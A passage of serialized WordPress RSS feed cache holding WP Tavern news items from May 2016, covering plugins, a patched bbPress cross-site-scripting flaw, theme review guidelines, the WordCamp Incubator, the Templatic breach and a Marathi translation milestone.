WordPress";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:28:"http://wptavern.com/?p=54422";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:89:"http://wptavern.com/new-super-emoji-plus-plugin-adds-an-elegant-emoji-picker-to-wordpress";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:3082:"<p>Last week when Beyoncé released her new Lemonade album, <a href="http://www.wired.com/2016/04/beyonce-lemonade-lemon-emoji/" target="_blank">lemon and bee emoji usage spiked on Twitter</a>. According to Twitter&#8217;s stats, during the month of April there were more than 2 million tweets that included at least one lemon emoji, 62% of which happened since the album release. The bee emoji, representing the Beyhive of Beyoncé fans, also found its way into 1.8 million tweets during April.</p>\n<p>There&#8217;s no denying that emoji permeate our culture and communication on the web, especially the mobile web. When people are excited, when they are communicating from the heart, they often use emoji. According to a study performed by emotional marketing platform Emogi last year, <a href="http://www.adweek.com/socialtimes/report-92-of-online-consumers-use-emoji-infographic/627521" target="_blank">92% of people online use emoji</a> and 63% of them are frequent users.</p>\n<p>Last year WordPress 4.2 <a href="http://wptavern.com/wordpress-4-2-on-track-to-expand-core-support-for-emoji" target="_blank">expanded core support for emoji</a>, adding along with it the ability to natively handle Chinese, Japanese, and Korean characters. This improvement came not a moment too soon, but emoji are still not readily accessible when publishing with WordPress until you launch the emoji keyboard for your operating system. There&#8217;s something disjointed about having to launch a separate keyboard when you&#8217;re trying to compose your thoughts.</p>\n<p><a href="https://wordpress.org/plugins/super-emoji-plus/" target="_blank">Super Emoji Plus+</a> is a new plugin that makes emoji more accessible. It was created by <a href="https://profiles.wordpress.org/ericlewis/" target="_blank">Eric Andrew Lewis</a>, a WordPress core contributor and developer at The New York Times. The plugin adds an elegant emoji picker to the post edit screen. It can be launched from the toolbar or via autocomplete when you start typing an emoji name, such as &#8220;:lemon&#8221;.</p>\n<p><a href="http://i2.wp.com/wptavern.com/wp-content/uploads/2016/05/super-emoji-toolbar.png"><img src="http://i2.wp.com/wptavern.com/wp-content/uploads/2016/05/super-emoji-toolbar.png?resize=1025%2C640" alt="super-emoji-toolbar" class="aligncenter size-full wp-image-54458" /></a></p>\n<p>If you use emoji in your WordPress posts, Super Emoji Plus+ provides convenient access to the full list. There&#8217;s no easier way to add emoji if you&#8217;re working from a desktop, as most emoji keyboard experiences are inferior to the one presented in this plugin. Having it installed removes the need for cheat sheets and saves you from having to remember the correct key combinations to launch an emoji keyboard. Super Emoji Plus+ <a href="https://ericandrewlewis.com/2016/04/super-emoji-plus-is-now-in-beta/" target="_blank">went into beta last week</a> and is now <a href="https://wordpress.org/plugins/super-emoji-plus/" target="_blank">available on WordPress.org</a>.</p>\n<div id="epoch-width-sniffer"></div>";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Wed, 04 May 2016 06:15:27 +0000";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}s:32:"http://purl.org/dc/elements/1.1/";a:1:{s:7:"creator";a:1:{i:0;a:5:{s:4:"data";s:13:"Sarah Gooding";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:6;a:6:{s:4:"data";s:13:"\n	\n	\n	\n	\n	\n	\n";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:2:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:66:"WPTavern: bbPress 2.5.9 Patches Cross-Site-Scripting Vulnerability";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:28:"http://wptavern.com/?p=54439";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:76:"http://wptavern.com/bbpress-2-5-9-patches-cross-site-scripting-vulnerability";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:945:"<p>John James Jacoby, lead developer of bbPress, has <a href="https://bbpress.org/blog/2016/05/bbpress-2-5-9/">released bbPress 2.5.9</a> to patch a security vulnerability, &#8220;bbPress 2.5.8 and below are susceptible to a cross-site-scripting vulnerability that&#8217;s due to the way users are linked to their profiles when they are mentioned in topics and replies,&#8221; Jacoby said.</p>\n<p>Marc-Alexandre Montpas is credited for <a href="https://make.wordpress.org/core/handbook/testing/reporting-security-vulnerabilities/">responsibly disclosing</a> the vulnerability to the WordPress security team. The patch has already been applied to bbPress 2.6, which is currently in development. Users are advised to update their bbPress installations as soon as possible. Users who encounter issues updating to 2.5.9 can report them to the <a href="https://bbpress.org/forums/">bbPress support forums</a>.</p>\n<div id="epoch-width-sniffer"></div>";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Tue, 03 May 2016 23:10:48 +0000";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}s:32:"http://purl.org/dc/elements/1.1/";a:1:{s:7:"creator";a:1:{i:0;a:5:{s:4:"data";s:13:"Jeff Chandler";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:7;a:6:{s:4:"data";s:13:"\n	\n	\n	\n	\n	\n	\n";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:2:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:88:"WPTavern: WordPress Theme Review Team Votes on New Guidelines to Ban Obtrusive Upselling";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:28:"http://wptavern.com/?p=54428";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:98:"http://wptavern.com/wordpress-theme-review-team-votes-on-new-guidelines-to-ban-obtrusive-upselling";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:4201:"<a href="http://i1.wp.com/wptavern.com/wp-content/uploads/2016/05/post-no-bills.jpg"><img src="http://i1.wp.com/wptavern.com/wp-content/uploads/2016/05/post-no-bills.jpg?resize=1024%2C602" alt="photo credit: Post no bills - (license)" class="size-full wp-image-54450" /></a>photo credit: <a href="http://www.flickr.com/photos/24415314@N02/26151211080">Post no bills</a> &#8211; <a href="https://creativecommons.org/licenses/by-nc-sa/2.0/">(license)</a>\n<p>One of the main items on the agenda for the Theme Review Team this week was to finalize what type of upselling is allowed in themes hosted on WordPress.org. With the requirement of using the customizer for options, theme authors have gotten creative with upsells and will sometimes include panels and sections that are inoperable unless the user purchases the commercial version.</p>\n<p>The team voted on a set of guidelines previously discussed. The counts shown below represent votes in favor of each individual guideline, and no members voted against any of them, according to the reckoning Justin Tadlock posted in the <a href="https://make.wordpress.org/themes/2016/05/03/may-3rd-meeting-notes/" target="_blank">meeting notes</a>:</p>\n<ul>\n<li>No global nags at top of admin pages. +12</li>\n<li>One top-level link in the customizer (other unobtrusive links in sections allowed). +8</li>\n<li>Allow one Appearance sub-page. +11</li>\n<li>No options or panels/sections behind a paywall. +11</li>\n</ul>\n<p>Overall, team members agreed that any upsell links should be unobtrusive and the new proposed guidelines favor keeping the customizer clean and the Appearance menu simple. Although the majority of Theme Review Team members are in favor of the items above, their inclusion in the handbook is not yet set in stone.</p>\n<p>&#8220;Note that we might change some of the wording for clarity if/when these become guidelines,&#8221; Tadlock said. &#8220;The admins will review these items for inclusion as guidelines and have further discussion if need be.&#8221;</p>\n<h3>Theme Review Team Considers Adding a Tag to Designate Themes with a Commercial Upgrade</h3>\n<p>Contributors are looking to add a new designation for freemium WordPress.org extensions that have commercial counterparts available elsewhere. In a recent Meta Team meeting, Matt Mullenweg <a href="https://wordpress.slack.com/archives/meta/p1461801845000324" target="_blank">proposed an agenda item</a> for consideration in the redesign of the Plugin Directory.</p>\n<p>&#8220;I would love for y&#8217;all to figure out a tagging system that will help people know better what&#8217;s behind the installation of a plugin,&#8221; Mullenweg said. &#8220;Does it connect to an external service? Is there a premium version? Is it useful without those things?</p>\n<p>&#8220;If we can figure out a way to classify those three as examples, it&#8217;ll cover a lot of business models people are attempting in the directory,&#8221; Mullenweg said, referring to the original examples of Akismet, VaultPress, and Jetpack that he mentioned previously.</p>\n<p>&#8220;This can be separate from the 3-tag limit,&#8221; he said. &#8220;It&#8217;s really a special tag, and honor system is fine to start for self-classification.&#8221;</p>\n<p>This hasn&#8217;t yet been implemented in the new Plugin Directory, but Konstantin Obenland has the item on his list for when the Meta Team moves forward with an <a href="https://make.wordpress.org/plugins/2016/02/25/re-thinking-tags-in-the-plugin-directory/" target="_blank">overhaul of the tagging system</a>.</p>\n<p>As a result of this discussion, the Theme Review Team is also considering adding a &#8220;pro&#8221; designation for themes that have a commercial version available. Tadlock said that the team will be following up on the plugin directory discussions and will look to implement improved tagging in line with what the Meta Team decides.</p>\n<p>The Theme Review Team ran out of time during this week&#8217;s meeting but will discuss the possibility of a &#8220;pro&#8221; tag next week. If you want to be part of this discussion, make sure to join the #themereview channel on WordPress&#8217; Slack.</p>\n<div id="epoch-width-sniffer"></div>";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Tue, 03 May 2016 21:58:41 +0000";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}s:32:"http://purl.org/dc/elements/1.1/";a:1:{s:7:"creator";a:1:{i:0;a:5:{s:4:"data";s:13:"Sarah Gooding";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:8;a:6:{s:4:"data";s:13:"\n	\n	\n	\n	\n	\n	\n";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:2:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:100:"WPTavern: WordCamp Incubator Program Receives 182 Applications, Narrows Candidates to 16 Communities";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:28:"http://wptavern.com/?p=54398";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:109:"http://wptavern.com/wordcamp-incubator-program-receives-182-applications-narrows-candidates-to-16-communities";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:3358:"<a href="http://i2.wp.com/wptavern.com/wp-content/uploads/2016/05/incubator.jpg"><img src="http://i2.wp.com/wptavern.com/wp-content/uploads/2016/05/incubator.jpg?resize=1024%2C505" alt="photo credit: Chilliwack Chicken Chick - (license)" class="size-full wp-image-54415" /></a>photo credit: <a href="http://www.flickr.com/photos/15521309@N05/16688186434">Chilliwack Chicken Chick</a> &#8211; <a href="https://creativecommons.org/licenses/by/2.0/">(license)</a>\n<p>In February the WordPress Community team announced that it would be <a href="http://wptavern.com/wordpress-to-launch-experimental-wordcamp-incubator-program" target="_blank">launching an experimental WordCamp Incubator program</a>. After a short application window of less than two weeks, the team received 182 applications from cities all over the world. Andrea Middleton <a href="https://make.wordpress.org/community/2016/04/28/wordcamp-incubator-update/" target="_blank">reported</a> that the team has narrowed the submissions down to the following 16 communities:</p>\n<ul>\n<li>Denpasar, Indonesia</li>\n<li>Chandigarh, India</li>\n<li>Colombo, Sri Lanka</li>\n<li>Thessaloniki, Greece</li>\n<li>Harare, Zimbabwe</li>\n<li>Budapest, Hungary</li>\n<li>Kalamata, Greece</li>\n<li>Kampala, Uganda</li>\n<li>Kochi, India</li>\n<li>Lagos, Nigeria</li>\n<li>Medellin, Colombia</li>\n<li>Nagpur, India</li>\n<li>Nairobi, Kenya</li>\n<li>San Jose, Costa Rica</li>\n<li>Udaipur, India</li>\n<li>Ulyanovsk, Russia</li>\n</ul>\n<p>Some of these communities already have active local meetups and others have no organization whatsoever. Selection of the final cities will be based on the location&#8217;s potential to foster an emerging WordPress community.</p>\n<p>The original plan was to incubate three WordCamps in 2016, but due to staffing changes the new scaled back plan is to commit to two events and intensively mentor a third. Middleton explained that the difference between the two is in the amount of support the local team will receive from the designated community team deputy:</p>\n<blockquote><p>Incubating an event will involve the deputy both advising local volunteers — acting as a kind of project manager for the team — as well as doing some of the organizing work on the event, like a lead organizer usually does. Intensively-mentoring will be more project management and involve less actual organizing work on the part of the deputy.</p></blockquote>\n<p>Middleton said the team is speaking with the remaining applicants about their communities and assessing their abilities to organize a one-day, one-track WordCamp with the help of the community team. The small events will focus on getting the local community connected for future events.</p>\n<p>The WordCamp Incubator program is an intriguing concept that has so far received a great deal of interest from potential new organizers. Many locations in the remaining list of candidates are situated in regions that are not as easily accessible to existing WordPress communities. These are places that might not otherwise have an opportunity to host a WordCamp for years without a little boost.</p>\n<p>We&#8217;ll be following the progress of the Incubator program to see if the experiment can successfully hatch a handful of new local communities. The three locations selected will be announced this month.</p>\n<div id="epoch-width-sniffer"></div>";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Tue, 03 May 2016 16:15:10 +0000";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}s:32:"http://purl.org/dc/elements/1.1/";a:1:{s:7:"creator";a:1:{i:0;a:5:{s:4:"data";s:13:"Sarah Gooding";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:9;a:6:{s:4:"data";s:13:"\n	\n	\n	\n	\n	\n	\n";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:2:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:78:"WPTavern: BuddyExtender: A Plugin for Configuring Internal BuddyPress Settings";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:28:"http://wptavern.com/?p=54342";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:87:"http://wptavern.com/buddyextender-a-plugin-for-configuring-internal-buddypress-settings";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:2297:"<a href="http://i2.wp.com/wptavern.com/wp-content/uploads/2016/03/controls.jpg"><img src="http://i2.wp.com/wptavern.com/wp-content/uploads/2016/03/controls.jpg?resize=960%2C443" alt="photo credit: 	Drew Patrick Miller" class="size-full wp-image-52988" /></a>photo credit: <a href="https://stocksnap.io/photo/2724C9A9DE">	Drew Patrick Miller</a>\n<p>The BuddyPress codex has a long list of <a href="https://codex.buddypress.org/getting-started/customizing/changing-internal-configuration-settings/" target="_blank">internal configuration settings</a> that are not exposed in the plugin&#8217;s admin settings page. These are short definition lines that can be added to a site&#8217;s <em><a href="https://codex.buddypress.org/themes/bp-custom-php/" target="_blank">bp-custom.php file</a></em> to make changes to BuddyPress default settings.</p>\n<p><a href="https://wordpress.org/plugins/buddyextender/" target="_blank">BuddyExtender</a> is a new plugin from the development team at <a href="https://webdevstudios.com/" target="_blank">WebDevStudios</a> that aims to make it easier for community managers to access extra configuration options. The plugin puts a dozen internal BuddyPress settings at your fingertips, including avatar sizes, autocomplete settings, the ability to disable @mentions, and more.</p>\n<p><a href="http://i0.wp.com/wptavern.com/wp-content/uploads/2016/04/buddy-extender.png"><img src="http://i0.wp.com/wptavern.com/wp-content/uploads/2016/04/buddy-extender.png?resize=678%2C1141" alt="buddy-extender" class="aligncenter size-full wp-image-54389" /></a></p>\n<p>Once installed, the plugin can be configured at Settings -> BuddyExtender in the admin. Each setting has an explanation on <a href="https://pluginize.com/buddyextender-plugin/" target="_blank">the plugin&#8217;s homepage on Pluginize</a>, WebDevStudio&#8217;s new plugin shop. Some of these settings have the ability to powerfully affect the display of your BuddyPress site, so its creators warn users to try it on a test environment before going live with their selections. The team plans to add more options to the plugin in the future. You can download <a href="https://wordpress.org/plugins/buddyextender/" target="_blank">BuddyExtender</a> for free from WordPress.org.</p>\n<div id="epoch-width-sniffer"></div>";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Mon, 02 May 2016 22:33:30 +0000";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}s:32:"http://purl.org/dc/elements/1.1/";a:1:{s:7:"creator";a:1:{i:0;a:5:{s:4:"data";s:13:"Sarah Gooding";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:10;a:6:{s:4:"data";s:13:"\n	\n	\n	\n	\n	\n	\n";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:2:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:121:"WPTavern: Customize Posts Plugin and Selective Refresh are Paving the Way for Front-End Editing Powered by the Customizer";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:28:"http://wptavern.com/?p=54345";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:131:"http://wptavern.com/customize-posts-plugin-and-selective-refresh-are-paving-the-way-for-front-end-editing-powered-by-the-customizer";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:5016:"<a href="http://i0.wp.com/wptavern.com/wp-content/uploads/2016/05/customize-posts.jpg"><img src="http://i0.wp.com/wptavern.com/wp-content/uploads/2016/05/customize-posts.jpg?resize=1024%2C583" alt="photo credit: Paintbrush - (license)" class="size-full wp-image-54351" /></a>photo credit: <a href="http://www.flickr.com/photos/93249705@N03/13067171403">Paintbrush</a> &#8211; <a href="https://creativecommons.org/licenses/by-nd/2.0/">(license)</a>\n<p>Last week Weston Ruter and the folks at XWP released <a href="https://make.xwp.co/2016/04/29/customize-posts-v0-5-released/" target="_blank">Customize Posts version 0.5</a>, which includes a new framework for postmeta and the ability to preview featured images. The feature <a href="https://wordpress.org/plugins/customize-posts/" target="_blank">plugin</a> aims to <a href="https://core.trac.wordpress.org/ticket/34923" target="_blank">introduce basic content authorship in the Customizer</a> to improve the new user site setup experience and make it easier to edit existing content.</p>\n<p>As of 0.5, Customize Posts supports the ability to change and preview the page template, and will sync changes back to the metabox on the page edit screen. It also supports changing the post author, excerpt, and comment/ping status, with live previews and changes saved to the editor. Check out Ruter&#8217;s screencast touring the plugin&#8217;s newest capabilities:</p>\n<div class="embed-wrap"></div>\n<h3>Front-End Editing Powered by the Customizer: A Not-Too-Distant Possibility</h3>\n<p>With all these advanced editing capabilities, it doesn&#8217;t take a giant leap to imagine a future where the customizer provides the architecture for a front-end post editor. While WordPress&#8217; <a href="https://make.wordpress.org/design/tag/front-end-editor/" target="_blank">front-end editor project</a> seems to have gone dormant, improvements to the Customizer are steadily chipping away at the various aspects of content authorship that are not yet editable on the frontend.</p>\n<p>&#8220;Now that we have the ability to selectively refresh elements without doing full page reloads, this opens the door to using these Customizer components outside of the Customizer itself, such as in the frontend,&#8221; Ruter said.</p>\n<p>Front-end editing of partials, which are similar to customizer controls but exist in the preview, is a natural extension of the selective refresh architecture and a concept that Ruter will be exploring in the near future.</p>\n<p>&#8220;Consider, for example, being logged-in on the frontend,&#8221; Ruter said. &#8220;You see something you want to edit and you click on it. Since the Customizer partials all have selectors associated with them, if the partials are registered with each logged-in frontend request, then there are containers that can be targeted for editing.&#8221;</p>\n<p>Ruter envisions that clicking on an element would load the controls for that element on demand via a lazy-loaded Customizer pane or a floating control. He said that this would work in concert with customizer transactions (aka snapshots) to store the changes persistently in a transaction.</p>\n<p>Front-end editing powered by the customizer, according to Ruter, would involve the following:</p>\n<ol>\n<li>Being able to click Customize in the admin bar to lazy-load the Customizer pane&#8217;s controls into the existing page without having to having to navigate to `customize.php`</li>\n<li>Being able to click on individual containers that have associated partials to start editing controls that relate to those partials</li>\n<li>All changes made on the frontend to be persisted in a transaction draft that is initialized on demand</li>\n</ol>\n<p>The ability to edit posts in the customizer on the front-end isn&#8217;t going to happen overnight, but Ruter thinks a proof of concept could be available this year.</p>\n<p>&#8220;It&#8217;s going to take some discovery and prototyping, similar to Customize Posts,&#8221; Ruter said. &#8220;My guess is there would be something to play around with in Q3, depending on other projects and having enough time to put down on paper these ideas that have been floating around for a couple years.&#8221;</p>\n<p>An important step towards making that possible will be getting <a href="https://core.trac.wordpress.org/ticket/34923" target="_blank">basic content authorship added to the Customizer</a>, which Ruter and contributors are working towards for the upcoming WordPress 4.6 release.</p>\n<p>These will be welcome changes for those who are looking to do more on the frontend, but it still leaves the bulk of content editing behind the admin. Unless you&#8217;re a developer who follows every update to the customizer, it&#8217;s still confusing for the average WordPress user to know what content can be edited on the frontend vs. content that requires returning to the admin. The editing experience will remain disjointed until the majority of tasks can be done on the frontend.</p>\n<div id="epoch-width-sniffer"></div>";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Mon, 02 May 2016 18:15:58 +0000";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}s:32:"http://purl.org/dc/elements/1.1/";a:1:{s:7:"creator";a:1:{i:0;a:5:{s:4:"data";s:13:"Sarah Gooding";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:11;a:6:{s:4:"data";s:13:"\n	\n	\n	\n	\n	\n	\n";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:2:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:59:"WPTavern: Templatic Hacked, Files and Databases Compromised";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:28:"http://wptavern.com/?p=54339";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:68:"http://wptavern.com/templatic-hacked-files-and-databases-compromised";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:2362:"<p><a href="https://templatic.com">Templatic</a>, a WordPress commercial theme company, <a href="https://templatic.com/news/our-site-was-hacked/">reported on</a> Saturday, April 30th, that its site was hacked. Files and databases containing customer usernames and passwords were compromised. According to R. Bhavesh, founder of Templatic, the data is being held for ransom money.</p>\n<blockquote><p>The hacker is now threatening us via email and demanding ransom money be paid. This hacker is also threatening to misuse the data they’ve illegally gained access to and email our data to customers.</p>\n<p>While this is a very serious and dangerous threat, we are not going to give in to threats and we will not be negotiating with any hacker and that’s no matter how much they try.</p></blockquote>\n<p>Bhavesh is working with local authorities and security experts who are investigating the matter. Since transactions on Templatic are handled directly by PayPal or 2Checkout, hackers were not able to obtain credit card information.</p>\n<h2>Customers Should Immediately Change Their Passwords</h2>\n<p>If you&#8217;ve ever shared cPanel, FTP, or wp-admin, login credentials with Templatic, you should immediately change your passwords. If you are using a product that relies on the Tevolution plugin and haven&#8217;t updated yet, you should <a href="https://templatic.com/news/security-vulnerability-found-themes/">do so immediately</a>.</p>\n<p>Customers are advised to ignore emails sent from Templatic, &#8220;The email we sent today is the last email we will send regarding this matter. Anything further, we will share it on our social mediate accounts at <a href="https://twitter.com/templatic">twitter</a>, <a href="https://www.facebook.com/templatic">facebook</a> and <a href="https://templatic.com/blog">our official blog</a> here,&#8221; Bhavesh said.</p>\n<p>Customers are also advised to create a full backup of their sites and use a <a href="https://sitecheck.sucuri.net//">free site scanning tool</a> to scan for unknown files. Bhavesh apologized for what happened and says he accepts full responsibility, &#8220;I take up the responsibility of this and I sincerely apologize to each single one of our customers. We assure you that we are taking best security measures and fight this, no matter what.&#8221;</p>\n<div id="epoch-width-sniffer"></div>";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Mon, 02 May 2016 17:18:53 +0000";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}s:32:"http://purl.org/dc/elements/1.1/";a:1:{s:7:"creator";a:1:{i:0;a:5:{s:4:"data";s:13:"Jeff Chandler";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:12;a:6:{s:4:"data";s:13:"\n	\n	\n	\n	\n	\n	\n";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:2:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:55:"WPTavern: WordPress is Now 100% Translated Into Marathi";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:28:"http://wptavern.com/?p=54325";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:64:"http://wptavern.com/wordpress-is-now-100-translated-into-marathi";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:2089:"<p>The Polyglots team announced this week that <a href="https://mr.wordpress.org/" target="_blank">WordPress is now 100% translated into Marathi</a>, an Indian language with an estimated 73 million native speakers. Marathi is one of the official languages of Western India and is the <a href="https://en.wikipedia.org/wiki/List_of_languages_by_number_of_native_speakers" target="_blank">19th most spoken language in the world</a> ranked by the number of native speakers.</p>\n<p><a href="http://i2.wp.com/wptavern.com/wp-content/uploads/2016/04/wp-in-marathi.png"><img src="http://i2.wp.com/wptavern.com/wp-content/uploads/2016/04/wp-in-marathi.png?resize=1025%2C252" alt="wp-in-marathi" class="aligncenter size-full wp-image-54327" /></a></p>\n<p>Less than a week ago, the Marathi translation was at just 10%, but the new translation teams 